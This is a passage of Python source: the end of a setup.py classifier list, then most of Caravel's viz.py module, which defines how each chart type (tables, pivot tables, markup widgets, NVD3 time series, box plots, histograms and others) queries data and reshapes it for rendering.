        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
    ],
)






"""This module contains the "Viz" objects

These objects represent the backend of all the visualizations that
Caravel can render.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import copy
import hashlib
import logging
import uuid
import zlib

from collections import OrderedDict, defaultdict
from datetime import datetime, timedelta

import pandas as pd
import numpy as np
from flask import request
from flask_babel import lazy_gettext as _
from markdown import markdown
import simplejson as json
from six import string_types, PY3
from werkzeug.datastructures import ImmutableMultiDict, MultiDict
from werkzeug.urls import Href
from dateutil import relativedelta as rdelta

from caravel import app, utils, cache
from caravel.forms import FormFactory
from caravel.utils import flasher

config = app.config


class BaseViz(object):

    """All visualizations derive this base class"""

    viz_type = None
    verbose_name = "Base Viz"
    credits = ""
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'metrics', 'groupby',
        )
    },)
    form_overrides = {}

    def __init__(self, datasource, form_data, slice_=None):
        self.orig_form_data = form_data
        if not datasource:
            raise Exception("Viz is missing a datasource")
        self.datasource = datasource
        self.request = request
        self.viz_type = form_data.get("viz_type")
        self.slice = slice_

        # TODO refactor all form related logic out of here and into forms.py
        ff = FormFactory(self)
        form_class = ff.get_form()
        defaults = form_class().data.copy()
        previous_viz_type = form_data.get('previous_viz_type')
        if isinstance(form_data, ImmutableMultiDict):
            form = form_class(form_data)
        else:
            form = form_class(**form_data)
        data = form.data.copy()

        if not form.validate():
            for k, v in form.errors.items():
                if not data.get('json') and not data.get('async'):
                    flasher("{}: {}".format(k, " ".join(v)), 'danger')
        if previous_viz_type != self.viz_type:
            data = {
                k: form.data[k]
                for k in form_data.keys()
                if k in form.data}
        defaults.update(data)
        self.form_data = defaults
        self.query = ""
        self.form_data['previous_viz_type'] = self.viz_type
        self.token = self.form_data.get(
            'token', 'token_' + uuid.uuid4().hex[:8])
        self.metrics = self.form_data.get('metrics') or []
        self.groupby = self.form_data.get('groupby') or []
        self.reassignments()

    @classmethod
    def flat_form_fields(cls):
        l = set()
        for d in cls.fieldsets:
            for obj in d['fields']:
                if obj and isinstance(obj, (tuple, list)):
                    l |= {a for a in obj if a}
                elif obj:
                    l.add(obj)
        return tuple(l)

    def reassignments(self):
        pass

    def get_url(self, for_cache_key=False, **kwargs):
        """Returns the URL for the viz

        :param for_cache_key: when getting the url as the identifier to hash
            for the cache key
        :type for_cache_key: boolean
        """
        d = self.orig_form_data.copy()
        if 'json' in d:
            del d['json']
        if 'action' in d:
            del d['action']
        d.update(kwargs)
        # Remove unchecked checkboxes because HTML is weird like that
        od = MultiDict()
        for key in sorted(d.keys()):
            if d[key] is False:
                del d[key]
            else:
                if isinstance(d, MultiDict):
                    v = d.getlist(key)
                else:
                    v = d.get(key)
                if not isinstance(v, list):
                    v = [v]
                for item in v:
                    od.add(key, item)
        href = Href(
            '/caravel/explore/{self.datasource.type}/'
            '{self.datasource.id}/'.format(**locals()))
        if for_cache_key and 'force' in od:
            del od['force']
        return href(od)

    def get_df(self, query_obj=None):
        """Returns a pandas dataframe based on the query object"""
        if not query_obj:
            query_obj = self.query_obj()

        self.error_msg = ""
        self.results = None

        timestamp_format = None
        if self.datasource.type == 'table':
            dttm_col = self.datasource.get_col(query_obj['granularity'])
            if dttm_col:
                timestamp_format = dttm_col.python_date_format

        # The datasource here can be different backend but the interface is common
        self.results = self.datasource.query(**query_obj)
        self.query = self.results.query
        df = self.results.df
        # Transform the timestamp we received from database to pandas supported
        # datetime format. If no python_date_format is specified, the pattern will
        # be considered as the default ISO date format
        # If the datetime format is unix, the parse will use the corresponding
        # parsing logic.
        if df is None or df.empty:
            raise Exception("No data, review your incantations!")
        else:
            if 'timestamp' in df.columns:
                if timestamp_format == "epoch_s":
                    df.timestamp = pd.to_datetime(
                        df.timestamp, utc=False, unit="s")
                elif timestamp_format == "epoch_ms":
                    df.timestamp = pd.to_datetime(
                        df.timestamp, utc=False, unit="ms")
                else:
                    df.timestamp = pd.to_datetime(
                        df.timestamp, utc=False, format=timestamp_format)
                if self.datasource.offset:
                    df.timestamp += timedelta(hours=self.datasource.offset)
        df.replace([np.inf, -np.inf], np.nan)
        df = df.fillna(0)
        return df

    @property
    def form(self):
        return self.form_class(**self.form_data)

    @property
    def form_class(self):
        return FormFactory(self).get_form()

    def query_filters(self, is_having_filter=False):
        """Processes the filters for the query"""
        form_data = self.form_data
        # Building filters
        filters = []
        field_prefix = 'flt' if not is_having_filter else 'having'
        for i in range(1, 10):
            col = form_data.get(field_prefix + "_col_" + str(i))
            op = form_data.get(field_prefix + "_op_" + str(i))
            eq = form_data.get(field_prefix + "_eq_" + str(i))
            if col and op and eq is not None:
                filters.append((col, op, eq))

        # Extra filters (coming from dashboard)
        extra_filters = form_data.get('extra_filters')
        if extra_filters and not is_having_filter:
            extra_filters = json.loads(extra_filters)
            for slice_filters in extra_filters.values():
                for col, vals in slice_filters.items():
                    if col and vals:
                        if col in self.datasource.filterable_column_names:
                            filters += [(col, 'in', ",".join(vals))]
        return filters

    def query_obj(self):
        """Building a query object"""
        form_data = self.form_data
        groupby = form_data.get("groupby") or []
        metrics = form_data.get("metrics") or ['count']
        granularity = \
            form_data.get("granularity") or form_data.get("granularity_sqla")
        limit = int(form_data.get("limit", 0))
        row_limit = int(
            form_data.get("row_limit", config.get("ROW_LIMIT")))
        since = form_data.get("since", "1 year ago")
        from_dttm = utils.parse_human_datetime(since)
        now = datetime.now()
        if from_dttm > now:
            from_dttm = now - (from_dttm - now)
        until = form_data.get("until", "now")
        to_dttm = utils.parse_human_datetime(until)
        if from_dttm > to_dttm:
            flasher("The date range doesn't seem right.", "danger")
            from_dttm = to_dttm  # Making them identical to not raise

        # extras are used to query elements specific to a datasource type
        # for instance the extra where clause that applies only to Tables
        extras = {
            'where': form_data.get("where", ''),
            'having': form_data.get("having", ''),
            'having_druid': self.query_filters(True),
            'time_grain_sqla': form_data.get("time_grain_sqla", ''),
            'druid_time_origin': form_data.get("druid_time_origin", ''),
        }
        d = {
            'granularity': granularity,
            'from_dttm': from_dttm,
            'to_dttm': to_dttm,
            'is_timeseries': self.is_timeseries,
            'groupby': groupby,
            'metrics': metrics,
            'row_limit': row_limit,
            'filter': self.query_filters(),
            'timeseries_limit': limit,
            'extras': extras,
        }
        return d

    @property
    def cache_timeout(self):

        if self.slice and self.slice.cache_timeout:
            return self.slice.cache_timeout
        if self.datasource.cache_timeout:
            return self.datasource.cache_timeout
        if (
                hasattr(self.datasource, 'database') and
                self.datasource.database.cache_timeout):
            return self.datasource.database.cache_timeout
        return config.get("CACHE_DEFAULT_TIMEOUT")

    def get_json(self):
        """Handles caching around the json payload retrieval"""
        cache_key = self.cache_key
        payload = None

        if self.form_data.get('force') != 'true':
            payload = cache.get(cache_key)

        if payload:
            is_cached = True
            try:
                cached_data = zlib.decompress(payload)
                if PY3:
                    cached_data = cached_data.decode('utf-8')
                payload = json.loads(cached_data)
            except Exception as e:
                logging.error("Error reading cache")
                payload = None
            logging.info("Serving from cache")

        if not payload:
            is_cached = False
            cache_timeout = self.cache_timeout
            payload = {
                'cache_timeout': cache_timeout,
                'cache_key': cache_key,
                'csv_endpoint': self.csv_endpoint,
                'data': self.get_data(),
                'form_data': self.form_data,
                'json_endpoint': self.json_endpoint,
                'query': self.query,
                'standalone_endpoint': self.standalone_endpoint,
            }
            payload['cached_dttm'] = datetime.now().isoformat().split('.')[0]
            logging.info("Caching for the next {} seconds".format(
                cache_timeout))
            try:
                data = self.json_dumps(payload)
                if PY3:
                    data = bytes(data, 'utf-8')
                cache.set(
                    cache_key,
                    zlib.compress(data),
                    timeout=cache_timeout)
            except Exception as e:
                # cache.set call can fail if the backend is down or if
                # the key is too large or whatever other reasons
                logging.warning("Could not cache key {}".format(cache_key))
                logging.exception(e)
                cache.delete(cache_key)
        payload['is_cached'] = is_cached
        return self.json_dumps(payload)

    def json_dumps(self, obj):
        """Used by get_json, can be overridden to use specific switches"""
        return json.dumps(obj, default=utils.json_int_dttm_ser, ignore_nan=True)

    @property
    def data(self):
        """This is the data object serialized to the js layer"""
        content = {
            'csv_endpoint': self.csv_endpoint,
            'form_data': self.form_data,
            'json_endpoint': self.json_endpoint,
            'standalone_endpoint': self.standalone_endpoint,
            'token': self.token,
            'viz_name': self.viz_type,
            'column_formats': {
                m.metric_name: m.d3format
                for m in self.datasource.metrics
                if m.d3format
            },
        }
        return content

    def get_csv(self):
        df = self.get_df()
        include_index = not isinstance(df.index, pd.RangeIndex)
        return df.to_csv(index=include_index, encoding="utf-8")

    def get_data(self):
        return []

    @property
    def json_endpoint(self):
        return self.get_url(json="true")

    @property
    def cache_key(self):
        url = self.get_url(for_cache_key=True, json="true", force="false")
        return hashlib.md5(url.encode('utf-8')).hexdigest()

    @property
    def csv_endpoint(self):
        return self.get_url(csv="true")

    @property
    def standalone_endpoint(self):
        return self.get_url(standalone="true")

    @property
    def json_data(self):
        return json.dumps(self.data)


class TableViz(BaseViz):

    """A basic html table that is sortable and searchable"""

    viz_type = "table"
    verbose_name = _("Table View")
    credits = 'a <a href="https://github.com/airbnb/caravel">Caravel</a> original'
    fieldsets = ({
        'label': _("GROUP BY"),
        'description': _('Use this section if you want a query that aggregates'),
        'fields': ('groupby', 'metrics')
    }, {
        'label': _("NOT GROUPED BY"),
        'description': _('Use this section if you want to query atomic rows'),
        'fields': ('all_columns', 'order_by_cols'),
    }, {
        'label': _("Options"),
        'fields': (
            'table_timestamp_format',
            'row_limit',
            ('include_search', None),
        )
    })
    form_overrides = ({
        'metrics': {
            'default': [],
        },
    })
    is_timeseries = False

    def query_obj(self):
        d = super(TableViz, self).query_obj()
        fd = self.form_data
        if fd.get('all_columns') and (fd.get('groupby') or fd.get('metrics')):
            raise Exception(
                "Choose either fields to [Group By] and [Metrics] or "
                "[Columns], not both")
        if fd.get('all_columns'):
            d['columns'] = fd.get('all_columns')
            d['groupby'] = []
            d['orderby'] = [json.loads(t) for t in fd.get('order_by_cols', [])]
        return d

    def get_df(self, query_obj=None):
        df = super(TableViz, self).get_df(query_obj)
        if (
                self.form_data.get("granularity") == "all" and
                'timestamp' in df):
            del df['timestamp']
        return df

    def get_data(self):
        df = self.get_df()
        return dict(
            records=df.to_dict(orient="records"),
            columns=list(df.columns),
        )

    def json_dumps(self, obj):
        return json.dumps(obj, default=utils.json_iso_dttm_ser)


class PivotTableViz(BaseViz):

    """A pivot table view, define your rows, columns and metrics"""

    viz_type = "pivot_table"
    verbose_name = _("Pivot Table")
    credits = 'a <a href="https://github.com/airbnb/caravel">Caravel</a> original'
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'groupby',
            'columns',
            'metrics',
            'pandas_aggfunc',
        )
    },)

    def query_obj(self):
        d = super(PivotTableViz, self).query_obj()
        groupby = self.form_data.get('groupby')
        columns = self.form_data.get('columns')
        metrics = self.form_data.get('metrics')
        if not columns:
            columns = []
        if not groupby:
            groupby = []
        if not groupby:
            raise Exception("Please choose at least one \"Group by\" field ")
        if not metrics:
            raise Exception("Please choose at least one metric")
        if (
                any(v in groupby for v in columns) or
                any(v in columns for v in groupby)):
            raise Exception("groupby and columns can't overlap")

        d['groupby'] = list(set(groupby) | set(columns))
        return d

    def get_df(self, query_obj=None):
        df = super(PivotTableViz, self).get_df(query_obj)
        if (
                self.form_data.get("granularity") == "all" and
                'timestamp' in df):
            del df['timestamp']
        df = df.pivot_table(
            index=self.form_data.get('groupby'),
            columns=self.form_data.get('columns'),
            values=self.form_data.get('metrics'),
            aggfunc=self.form_data.get('pandas_aggfunc'),
            margins=True,
        )
        return df

    def get_data(self):
        return self.get_df().to_html(
            na_rep='',
            classes=(
                "dataframe table table-striped table-bordered "
                "table-condensed table-hover").split(" "))


class MarkupViz(BaseViz):

    """Use html or markdown to create a free form widget"""

    viz_type = "markup"
    verbose_name = _("Markup")
    fieldsets = ({
        'label': None,
        'fields': ('markup_type', 'code')
    },)
    is_timeseries = False

    def rendered(self):
        markup_type = self.form_data.get("markup_type")
        code = self.form_data.get("code", '')
        if markup_type == "markdown":
            return markdown(code)
        elif markup_type == "html":
            return code

    def get_data(self):
        return dict(html=self.rendered())


class SeparatorViz(MarkupViz):

    """Use to create section headers in a dashboard, similar to `Markup`"""

    viz_type = "separator"
    verbose_name = _("Separator")
    form_overrides = {
        'code': {
            'default': (
                "####Section Title\n"
                "A paragraph describing the section"
                "of the dashboard, right before the separator line "
                "\n\n"
                "---------------"
            ),
        }
    }


class WordCloudViz(BaseViz):

    """Build a colorful word cloud

    Uses the nice library at:
    https://github.com/jasondavies/d3-cloud
    """

    viz_type = "word_cloud"
    verbose_name = _("Word Cloud")
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'series', 'metric', 'limit',
            ('size_from', 'size_to'),
            'rotation',
        )
    },)

    def query_obj(self):
        d = super(WordCloudViz, self).query_obj()

        d['metrics'] = [self.form_data.get('metric')]
        d['groupby'] = [self.form_data.get('series')]
        return d

    def get_data(self):
        df = self.get_df()
        # Ordering the columns
        df = df[[self.form_data.get('series'), self.form_data.get('metric')]]
        # Labeling the columns for uniform json schema
        df.columns = ['text', 'size']
        return df.to_dict(orient="records")


class TreemapViz(BaseViz):

    """Tree map visualisation for hierarchical data."""

    viz_type = "treemap"
    verbose_name = _("Treemap")
    credits = '<a href="https://d3js.org">d3.js</a>'
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'metrics',
            'groupby',
        ),
    }, {
        'label': _('Chart Options'),
        'fields': (
            'treemap_ratio',
            'number_format',
        )
    },)

    def get_df(self, query_obj=None):
        df = super(TreemapViz, self).get_df(query_obj)
        df = df.set_index(self.form_data.get("groupby"))
        return df

    def _nest(self, metric, df):
        nlevels = df.index.nlevels
        if nlevels == 1:
            result = [{"name": n, "value": v}
                      for n, v in zip(df.index, df[metric])]
        else:
            result = [{"name": l, "children": self._nest(metric, df.loc[l])}
                      for l in df.index.levels[0]]
        return result

    def get_data(self):
        df = self.get_df()
        chart_data = [{"name": metric, "children": self._nest(metric, df)}
                      for metric in df.columns]
        return chart_data


class CalHeatmapViz(BaseViz):

    """Calendar heatmap."""

    viz_type = "cal_heatmap"
    verbose_name = _("Calender Heatmap")
    credits = (
        '<a href=https://github.com/wa0x6e/cal-heatmap>cal-heatmap</a>')
    is_timeseries = True
    fieldsets = ({
        'label': None,
        'fields': (
            'metric',
            'domain_granularity',
            'subdomain_granularity',
        ),
    },)

    def get_df(self, query_obj=None):
        df = super(CalHeatmapViz, self).get_df(query_obj)
        return df

    def get_data(self):
        df = self.get_df()
        form_data = self.form_data

        df.columns = ["timestamp", "metric"]
        timestamps = {str(obj["timestamp"].value / 10**9):
                      obj.get("metric") for obj in df.to_dict("records")}

        start = utils.parse_human_datetime(form_data.get("since"))
        end = utils.parse_human_datetime(form_data.get("until"))
        domain = form_data.get("domain_granularity")
        diff_delta = rdelta.relativedelta(end, start)
        diff_secs = (end - start).total_seconds()

        if domain == "year":
            range_ = diff_delta.years + 1
        elif domain == "month":
            range_ = diff_delta.years * 12 + diff_delta.months + 1
        elif domain == "week":
            range_ = diff_delta.years * 53 + diff_delta.weeks + 1
        elif domain == "day":
            range_ = diff_secs // (24*60*60) + 1
        else:
            range_ = diff_secs // (60*60) + 1

        return {
            "timestamps": timestamps,
            "start": start,
            "domain": domain,
            "subdomain": form_data.get("subdomain_granularity"),
            "range": range_,
        }

    def query_obj(self):
        qry = super(CalHeatmapViz, self).query_obj()
        qry["metrics"] = [self.form_data["metric"]]
        return qry


class NVD3Viz(BaseViz):

    """Base class for all nvd3 vizs"""

    credits = '<a href="http://nvd3.org/">NVD3.org</a>'
    viz_type = None
    verbose_name = "Base NVD3 Viz"
    is_timeseries = False


class BoxPlotViz(NVD3Viz):

    """Box plot viz from ND3"""

    viz_type = "box_plot"
    verbose_name = _("Box Plot")
    sort_series = False
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'metrics',
            'groupby', 'limit',
        ),
    }, {
        'label': _('Chart Options'),
        'fields': (
            'whisker_options',
        )
    },)

    def get_df(self, query_obj=None):
        form_data = self.form_data
        df = super(BoxPlotViz, self).get_df(query_obj)

        df = df.fillna(0)

        # conform to NVD3 names
        def Q1(series):  # need to be named functions - can't use lambdas
            return np.percentile(series, 25)

        def Q3(series):
            return np.percentile(series, 75)

        whisker_type = form_data.get('whisker_options')
        if whisker_type == "Tukey":

            def whisker_high(series):
                upper_outer_lim = Q3(series) + 1.5 * (Q3(series) - Q1(series))
                series = series[series <= upper_outer_lim]
                return series[np.abs(series - upper_outer_lim).argmin()]

            def whisker_low(series):
                lower_outer_lim = Q1(series) - 1.5 * (Q3(series) - Q1(series))
                # find the closest value above the lower outer limit
                series = series[series >= lower_outer_lim]
                return series[np.abs(series - lower_outer_lim).argmin()]

        elif whisker_type == "Min/max (no outliers)":

            def whisker_high(series):
                return series.max()

            def whisker_low(series):
                return series.min()

        elif " percentiles" in whisker_type:
            low, high = whisker_type.replace(" percentiles", "").split("/")

            def whisker_high(series):
                return np.percentile(series, int(high))

            def whisker_low(series):
                return np.percentile(series, int(low))

        else:
            raise ValueError("Unknown whisker type: {}".format(whisker_type))

        def outliers(series):
            above = series[series > whisker_high(series)]
            below = series[series < whisker_low(series)]
            # pandas sometimes doesn't like getting lists back here
            return set(above.tolist() + below.tolist())

        aggregate = [Q1, np.median, Q3, whisker_high, whisker_low, outliers]
        df = df.groupby(form_data.get('groupby')).agg(aggregate)
        return df

    def to_series(self, df, classed='', title_suffix=''):
        label_sep = " - "
        chart_data = []
        for index_value, row in zip(df.index, df.to_dict(orient="records")):
            if isinstance(index_value, tuple):
                index_value = label_sep.join(index_value)
            boxes = defaultdict(dict)
            for (label, key), value in row.items():
                if key == "median":
                    key = "Q2"
                boxes[label][key] = value
            for label, box in boxes.items():
                if len(self.form_data.get("metrics")) > 1:
                    # need to render data labels with metrics
                    chart_label = label_sep.join([index_value, label])
                else:
                    chart_label = index_value
                chart_data.append({
                    "label": chart_label,
                    "values": box,
                })
        return chart_data

    def get_data(self):
        df = self.get_df()
        chart_data = self.to_series(df)
        return chart_data


class BubbleViz(NVD3Viz):

    """Based on the NVD3 bubble chart"""

    viz_type = "bubble"
    verbose_name = _("Bubble Chart")
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'series', 'entity',
            'x', 'y',
            'size', 'limit',
        )
    }, {
        'label': _('Chart Options'),
        'fields': (
            ('x_log_scale', 'y_log_scale'),
            ('show_legend', None),
            'max_bubble_size',
            ('x_axis_label', 'y_axis_label'),
        )
    },)

    def query_obj(self):
        form_data = self.form_data
        d = super(BubbleViz, self).query_obj()
        d['groupby'] = list({
            form_data.get('series'),
            form_data.get('entity')
        })
        self.x_metric = form_data.get('x')
        self.y_metric = form_data.get('y')
        self.z_metric = form_data.get('size')
        self.entity = form_data.get('entity')
        self.series = form_data.get('series')

        d['metrics'] = [
            self.z_metric,
            self.x_metric,
            self.y_metric,
        ]
        if not all(d['metrics'] + [self.entity, self.series]):
            raise Exception("Pick a metric for x, y and size")
        return d

    def get_df(self, query_obj=None):
        df = super(BubbleViz, self).get_df(query_obj)
        df = df.fillna(0)
        df['x'] = df[[self.x_metric]]
        df['y'] = df[[self.y_metric]]
        df['size'] = df[[self.z_metric]]
        df['shape'] = 'circle'
        df['group'] = df[[self.series]]
        return df

    def get_data(self):
        df = self.get_df()
        series = defaultdict(list)
        for row in df.to_dict(orient='records'):
            series[row['group']].append(row)
        chart_data = []
        for k, v in series.items():
            chart_data.append({
                'key': k,
                'values': v})
        return chart_data


class BigNumberViz(BaseViz):

    """Put emphasis on a single metric with this big number viz"""

    viz_type = "big_number"
    verbose_name = _("Big Number with Trendline")
    credits = 'a <a href="https://github.com/airbnb/caravel">Caravel</a> original'
    is_timeseries = True
    fieldsets = ({
        'label': None,
        'fields': (
            'metric',
            'compare_lag',
            'compare_suffix',
            'y_axis_format',
        )
    },)
    form_overrides = {
        'y_axis_format': {
            'label': _('Number format'),
        }
    }

    def reassignments(self):
        metric = self.form_data.get('metric')
        if not metric:
            self.form_data['metric'] = self.orig_form_data.get('metrics')

    def query_obj(self):
        d = super(BigNumberViz, self).query_obj()
        metric = self.form_data.get('metric')
        if not metric:
            raise Exception("Pick a metric!")
        d['metrics'] = [self.form_data.get('metric')]
        self.form_data['metric'] = metric
        return d

    def get_data(self):
        form_data = self.form_data
        df = self.get_df()
        df.sort_values(by=df.columns[0], inplace=True)
        compare_lag = form_data.get("compare_lag", "")
        compare_lag = int(compare_lag) if compare_lag and compare_lag.isdigit() else 0
        return {
            'data': df.values.tolist(),
            'compare_lag': compare_lag,
            'compare_suffix': form_data.get('compare_suffix', ''),
        }


class BigNumberTotalViz(BaseViz):

    """Put emphasis on a single metric with this big number viz"""

    viz_type = "big_number_total"
    verbose_name = _("Big Number")
    credits = 'a <a href="https://github.com/airbnb/caravel">Caravel</a> original'
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'metric',
            'subheader',
            'y_axis_format',
        )
    },)
    form_overrides = {
        'y_axis_format': {
            'label': _('Number format'),
        }
    }

    def reassignments(self):
        metric = self.form_data.get('metric')
        if not metric:
            self.form_data['metric'] = self.orig_form_data.get('metrics')

    def query_obj(self):
        d = super(BigNumberTotalViz, self).query_obj()
        metric = self.form_data.get('metric')
        if not metric:
            raise Exception("Pick a metric!")
        d['metrics'] = [self.form_data.get('metric')]
        self.form_data['metric'] = metric
        return d

    def get_data(self):
        form_data = self.form_data
        df = self.get_df()
        df.sort_values(by=df.columns[0], inplace=True)
        return {
            'data': df.values.tolist(),
            'subheader': form_data.get('subheader', ''),
        }


class NVD3TimeSeriesViz(NVD3Viz):

    """A rich line chart component with tons of options"""

    viz_type = "line"
    verbose_name = _("Time Series - Line Chart")
    sort_series = False
    is_timeseries = True
    fieldsets = ({
        'label': None,
        'fields': (
            'metrics',
            'groupby', 'limit',
        ),
    }, {
        'label': _('Chart Options'),
        'fields': (
            ('show_brush', 'show_legend'),
            ('rich_tooltip', 'y_axis_zero'),
            ('y_log_scale', 'contribution'),
            ('line_interpolation', 'x_axis_showminmax'),
            ('x_axis_format', 'y_axis_format'),
            ('x_axis_label', 'y_axis_label'),
        ),
    }, {
        'label': _('Advanced Analytics'),
        'description': _(
            "This section contains options "
            "that allow for advanced analytical post processing "
            "of query results"),
        'fields': (
            ('rolling_type', 'rolling_periods'),
            'time_compare',
            ('num_period_compare', 'period_ratio_type'),
            None,
            ('resample_how', 'resample_rule',), 'resample_fillmethod'
        ),
    },)

    def get_df(self, query_obj=None):
        form_data = self.form_data
        df = super(NVD3TimeSeriesViz, self).get_df(query_obj)

        df = df.fillna(0)
        if form_data.get("granularity") == "all":
            raise Exception("Pick a time granularity for your time series")

        df = df.pivot_table(
            index="timestamp",
            columns=form_data.get('groupby'),
            values=form_data.get('metrics'))

        fm = form_data.get("resample_fillmethod")
        if not fm:
            fm = None
        how = form_data.get("resample_how")
        rule = form_data.get("resample_rule")
        if how and rule:
            df = df.resample(rule, how=how, fill_method=fm)
            if not fm:
                df = df.fillna(0)

        if self.sort_series:
            dfs = df.sum()
            dfs.sort_values(ascending=False, inplace=True)
            df = df[dfs.index]

        if form_data.get("contribution"):
            dft = df.T
            df = (dft / dft.sum()).T

        num_period_compare = form_data.get("num_period_compare")
        if num_period_compare:
            num_period_compare = int(num_period_compare)
            prt = form_data.get('period_ratio_type')
            if prt and prt == 'growth':
                df = (df / df.shift(num_period_compare)) - 1
            elif prt and prt == 'value':
                df = df - df.shift(num_period_compare)
            else:
                df = df / df.shift(num_period_compare)

            df = df[num_period_compare:]

        rolling_periods = form_data.get("rolling_periods")
        rolling_type = form_data.get("rolling_type")

        if rolling_type in ('mean', 'std', 'sum') and rolling_periods:
            if rolling_type == 'mean':
                df = pd.rolling_mean(df, int(rolling_periods), min_periods=0)
            elif rolling_type == 'std':
                df = pd.rolling_std(df, int(rolling_periods), min_periods=0)
            elif rolling_type == 'sum':
                df = pd.rolling_sum(df, int(rolling_periods), min_periods=0)
        elif rolling_type == 'cumsum':
            df = df.cumsum()
        return df

    def to_series(self, df, classed='', title_suffix=''):
        cols = []
        for col in df.columns:
            if col == '':
                cols.append('N/A')
            elif col is None:
                cols.append('NULL')
            else:
                cols.append(col)
        df.columns = cols
        series = df.to_dict('series')

        chart_data = []
        for name in df.T.index.tolist():
            ys = series[name]
            if df[name].dtype.kind not in "biufc":
                continue
            df['timestamp'] = pd.to_datetime(df.index, utc=False)
            if isinstance(name, string_types):
                series_title = name
            else:
                name = ["{}".format(s) for s in name]
                if len(self.form_data.get('metrics')) > 1:
                    series_title = ", ".join(name)
                else:
                    series_title = ", ".join(name[1:])
            if title_suffix:
                series_title += title_suffix

            d = {
                "key": series_title,
                "classed": classed,
                "values": [
                    {'x': ds, 'y': ys[ds] if ds in ys else None}
                    for ds in df.timestamp
                ],
            }
            chart_data.append(d)
        return chart_data

    def get_data(self):
        df = self.get_df()
        chart_data = self.to_series(df)

        time_compare = self.form_data.get('time_compare')
        if time_compare:
            query_object = self.query_obj()
            delta = utils.parse_human_timedelta(time_compare)
            query_object['inner_from_dttm'] = query_object['from_dttm']
            query_object['inner_to_dttm'] = query_object['to_dttm']
            query_object['from_dttm'] -= delta
            query_object['to_dttm'] -= delta

            df2 = self.get_df(query_object)
            df2.index += delta
            chart_data += self.to_series(
                df2, classed='caravel', title_suffix="---")
            chart_data = sorted(chart_data, key=lambda x: x['key'])
        return chart_data


class NVD3TimeSeriesBarViz(NVD3TimeSeriesViz):

    """A bar chart where the x axis is time"""

    viz_type = "bar"
    sort_series = True
    verbose_name = _("Time Series - Bar Chart")
    fieldsets = [NVD3TimeSeriesViz.fieldsets[0]] + [{
        'label': _('Chart Options'),
        'fields': (
            ('show_brush', 'show_legend', 'show_bar_value'),
            ('rich_tooltip', 'y_axis_zero'),
            ('y_log_scale', 'contribution'),
            ('x_axis_format', 'y_axis_format'),
            ('line_interpolation', 'bar_stacked'),
            ('x_axis_showminmax', 'bottom_margin'),
            ('x_axis_label', 'y_axis_label'),
            ('reduce_x_ticks', 'show_controls'),
        ), }] + [NVD3TimeSeriesViz.fieldsets[2]]


class NVD3CompareTimeSeriesViz(NVD3TimeSeriesViz):

    """A line chart component where you can compare the % change over time"""

    viz_type = 'compare'
    verbose_name = _("Time Series - Percent Change")


class NVD3TimeSeriesStackedViz(NVD3TimeSeriesViz):

    """A rich stack area chart"""

    viz_type = "area"
    verbose_name = _("Time Series - Stacked")
    sort_series = True
    fieldsets = [NVD3TimeSeriesViz.fieldsets[0]] + [{
        'label': _('Chart Options'),
        'fields': (
            ('show_brush', 'show_legend'),
            ('rich_tooltip', 'y_axis_zero'),
            ('y_log_scale', 'contribution'),
            ('x_axis_format', 'y_axis_format'),
            ('x_axis_showminmax', 'show_controls'),
            ('line_interpolation', 'stacked_style'),
        ), }] + [NVD3TimeSeriesViz.fieldsets[2]]


class DistributionPieViz(NVD3Viz):

    """Annoy visualization snobs with this controversial pie chart"""

    viz_type = "pie"
    verbose_name = _("Distribution - NVD3 - Pie Chart")
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'metrics', 'groupby',
            'limit',
            'pie_label_type',
            ('donut', 'show_legend'),
            'labels_outside',
        )
    },)

    def query_obj(self):
        d = super(DistributionPieViz, self).query_obj()
        d['is_timeseries'] = False
        return d

    def get_df(self, query_obj=None):
        df = super(DistributionPieViz, self).get_df(query_obj)
        df = df.pivot_table(
            index=self.groupby,
            values=[self.metrics[0]])
        df.sort_values(by=self.metrics[0], ascending=False, inplace=True)
        return df

    def get_data(self):
        df = self.get_df()
        df = df.reset_index()
        df.columns = ['x', 'y']
        return df.to_dict(orient="records")


class HistogramViz(BaseViz):

    """Histogram"""

    viz_type = "histogram"
    verbose_name = _("Histogram")
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            ('all_columns_x',),
            'row_limit',
        )
    }, {
        'label': _("Histogram Options"),
        'fields': (
            'link_length',
        )
    },)

    form_overrides = {
        'all_columns_x': {
            'label': _('Numeric Column'),
            'description': _("Select the numeric column to draw the histogram"),
        },
        'link_length': {
            'label': _("No of Bins"),
            'description': _("Select number of bins for the histogram"),
            'default': 5
        }
    }


    def query_obj(self):
        """Returns the query object for this visualization"""
        d = super(HistogramViz, self).query_obj()
        d['row_limit'] = self.form_data.get('row_limit', int(config.get('ROW_LIMIT')))
        numeric_column = self.form_data.get('all_columns_x')
        if numeric_column is None:
            raise Exception("Must have one numeric column specified")
        d['columns'] = [numeric_column]
        return d


    def get_df(self, query_obj=None):
        """Returns a pandas dataframe based on the query object"""
        if not query_obj:
            query_obj = self.query_obj()

        self.results = self.datasource.query(**query_obj)
        self.query = self.results.query
        df = self.results.df

        if df is None or df.empty:
            raise Exception("No data, to build histogram")

        df.replace([np.inf, -np.inf], np.nan)
        df = df.fillna(0)
        return df


    def get_data(self):
        """Returns the chart data"""
        df = self.get_df()
        chart_data = df[df.columns[0]].values.tolist()
        return chart_data


class DistributionBarViz(DistributionPieViz):

    """A good old bar chart"""

    viz_type = "dist_bar"
    verbose_name = _("Distribution - Bar Chart")
    is_timeseries = False
    fieldsets = ({
        'label': _('Chart Options'),
        'fields': (
            'groupby',
            'columns',
            'metrics',
            'row_limit',
            ('show_legend', 'show_bar_value', 'bar_stacked'),
            ('y_axis_format', 'bottom_margin'),
            ('x_axis_label', 'y_axis_label'),
            ('reduce_x_ticks', 'contribution'),
            ('show_controls', None),
        )
    },)
    form_overrides = {
        'groupby': {
            'label': _('Series'),
        },
        'columns': {
            'label': _('Breakdowns'),
            'description': _("Defines how each series is broken down"),
        },
    }

    def query_obj(self):
